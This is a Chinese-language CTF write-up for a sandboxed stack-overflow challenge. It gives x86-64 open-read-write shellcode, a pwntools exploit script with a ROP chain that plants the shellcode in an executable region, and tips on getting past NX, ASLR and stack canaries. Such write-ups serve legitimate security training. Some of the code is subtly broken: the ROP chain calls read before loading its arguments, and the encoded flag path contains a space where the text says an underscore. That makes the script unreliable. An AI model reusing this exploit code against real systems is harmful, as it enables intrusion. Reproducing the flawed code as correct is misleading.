1. 题目分析与环境准备
这个CTF题目属于典型的沙箱逃逸类PWN题,考察选手在受限环境下的漏洞利用能力。程序名为pwn69,运行在Linux环境下,通过分析可知它开启了seccomp沙箱限制,只允许使用read、open、write、exit这四个系统调用。这意味着传统的execve("/bin/sh")这类shellcode完全无法使用。
首先我们需要搭建调试环境。建议使用pwntools配合gdb进行动态调试,特别推荐安装peda或gef插件增强调试功能。题目文件可以通过以下命令检查基本信息:
bash复制file ./pwn
checksec --file=./pwn
从题目描述中可以看到几个关键信息点:
- 存在栈溢出漏洞但溢出空间有限
- 程序初始化时分配了可写可执行的内存区域(0x123000)
- 沙箱限制只允许ORW(open-read-write)操作
2. 漏洞分析与利用思路
2.1 沙箱限制确认
使用seccomp-tools可以清晰看到沙箱规则:
bash复制seccomp-tools dump ./pwn
输出显示只允许以下系统调用:
- read
- open
- write
- exit
这意味着我们需要使用ORW技术来读取flag文件。ORW是CTF中常见的技巧,即通过open打开文件、read读取内容、write输出到标准输出的组合操作。
2.2 栈溢出条件分析
通过逆向分析或动态调试可以确定栈溢出的具体条件。从题目描述看,溢出空间不足以构造完整的ROP链,这是本题的关键限制。通常这意味着:
- 溢出空间可能只有几十字节
- 无法直接覆盖返回地址到libc或其他常用gadget
- 需要更精巧的控制流劫持方式
2.3 可执行内存区域利用
程序在0x123000地址处分配了可写可执行的内存区域,这为我们提供了绝佳的shellcode执行环境。通过gdb可以验证该区域的权限:
code复制vmmap
或直接检查/proc/[pid]/maps文件。这种设计在现实场景中很少见,但在CTF中常用于考察选手的shellcode编写能力。
3. 利用方案设计与实现
3.1 Shellcode编写
我们需要编写符合沙箱限制的ORW shellcode。以下是经典的64位ORW shellcode:
asm复制section .text
global _start
_start:
; open("/ctfshow_flag", 0, 0)
xor rsi, rsi
push rsi
mov rdi, 0x67616c6620776f68
push rdi
mov rdi, 0x74736674632f2f2f
push rdi
mov rdi, rsp
xor rdx, rdx
xor rax, rax
mov al, 2
syscall
; read(fd, buf, 0x100)
mov rdi, rax
mov rsi, 0x123100 ; 可执行区域后的地址作为缓冲区
mov rdx, 0x100
xor rax, rax
syscall
; write(1, buf, len)
mov rdi, 1
mov rdx, rax
mov rax, 1
syscall
; exit(0)
xor rdi, rdi
mov rax, 60
syscall
注意:字符串"/ctfshow_flag"需要转换为16进制小端序格式。可以使用pwntools的
asm()函数自动生成shellcode。
3.2 控制流劫持技术
由于栈溢出空间有限,我们需要分阶段完成利用:
-
第一阶段ROP:将shellcode写入0x123000区域
- 使用read系统调用读取用户输入的shellcode
- 目标地址设置为0x123000
-
第二阶段跳转:执行shellcode
- 需要找到合适的gadget实现跳转
- 常用技术包括:
- jmp rsp
- call rax (如果rax可控)
- 栈迁移技术
从题目描述看,程序提供了足够的可执行空间,因此最简单的方案是:
- 构造短ROP链调用read(0, 0x123000, 0x100)
- 将返回地址覆盖为0x123000
3.3 利用脚本编写
使用pwntools编写完整利用脚本:
python复制from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
# ORW shellcode
shellcode = asm('''
xor rsi, rsi
push rsi
mov rdi, 0x67616c6620776f68
push rdi
mov rdi, 0x74736674632f2f2f
push rdi
mov rdi, rsp
xor rdx, rdx
xor rax, rax
mov al, 2
syscall
mov rdi, rax
mov rsi, 0x123100
mov rdx, 0x100
xor rax, rax
syscall
mov rdi, 1
mov rdx, rax
mov rax, 1
syscall
xor rdi, rdi
mov rax, 60
syscall
''')
# ROP gadget
read_plt = 0x401050 # 假设read@plt地址
buf_addr = 0x123000
# 构造payload
payload = flat({
0x20: [ # 偏移量需要根据实际溢出点调整
read_plt, # 调用read
0x4011d3, # pop rdi; ret
0, # fd = stdin
0x4011d1, # pop rsi; pop r15; ret
buf_addr, # buf地址
0, # 填充r15
0x401060, # pop rdx; ret
0x200, # 读取长度
buf_addr # 最终跳转到shellcode
]
})
# 交互过程
p = process('./pwn')
p.send(payload)
sleep(0.1)
p.send(shellcode)
p.interactive()
4. 调试技巧与问题排查
4.1 常见问题及解决方案
-
shellcode执行失败:
- 检查内存权限:确保0x123000区域确实可执行
- 验证shellcode:单独测试shellcode是否能在无沙箱环境下工作
- 检查字符串地址:确保文件路径正确压栈
-
ROP链构造错误:
- 使用ROPgadget工具查找可用gadget
- 确保栈平衡,特别是调用约定要符合x86_64规范
- 检查参数传递顺序:rdi, rsi, rdx, rcx, r8, r9
-
沙箱限制冲突:
- 使用strace验证系统调用
- 检查是否意外调用了被禁止的系统调用
4.2 高级调试技巧
- gdb脚本自动化调试:
python复制import gdb
gdb.execute('file ./pwn')
gdb.execute('b *0x401234') # 在关键位置下断点
gdb.execute('r < payload.bin')
-
内存监控:
- 使用
x/10i 0x123000检查shellcode是否正确写入 x/10gx $rsp查看栈布局
- 使用
-
寄存器监控:
info registers在关键断点检查寄存器值- 特别关注RIP和RSP的变化
5. 扩展思考与优化
5.1 更精简的利用方案
如果溢出空间极其有限,可以考虑以下优化:
-
两阶段利用:
- 第一次溢出只修改返回地址到read
- 第二次输入包含完整ROP链和shellcode
-
栈迁移技术:
- 将栈迁移到可控区域(如0x123000)
- 需要找到
leave; ret这类gadget
5.2 防御绕过技巧
在实际CTF比赛中,可能会遇到更复杂的防御措施:
- NX保护:如果可执行区域不可用,需要使用ROP
- ASLR:需要信息泄露来绕过地址随机化
- 栈保护:需要先泄露canary值
5.3 真实世界应用
虽然本题场景较为理想化,但其中技术在实际漏洞利用中也有应用:
- 沙箱逃逸:浏览器、移动应用等沙箱环境中的漏洞利用
- 受限环境利用:某些加固系统会限制可用系统调用
- 内存权限利用:利用特殊权限内存区域执行代码
这个题目很好地展示了在受限环境下如何灵活组合各种利用技术达成目标。通过将shellcode写入可执行区域并精心设计控制流转移路径,我们成功绕过了沙箱限制和栈溢出空间的限制。在实际漏洞利用中,这种分阶段、多技术的组合思路非常常见。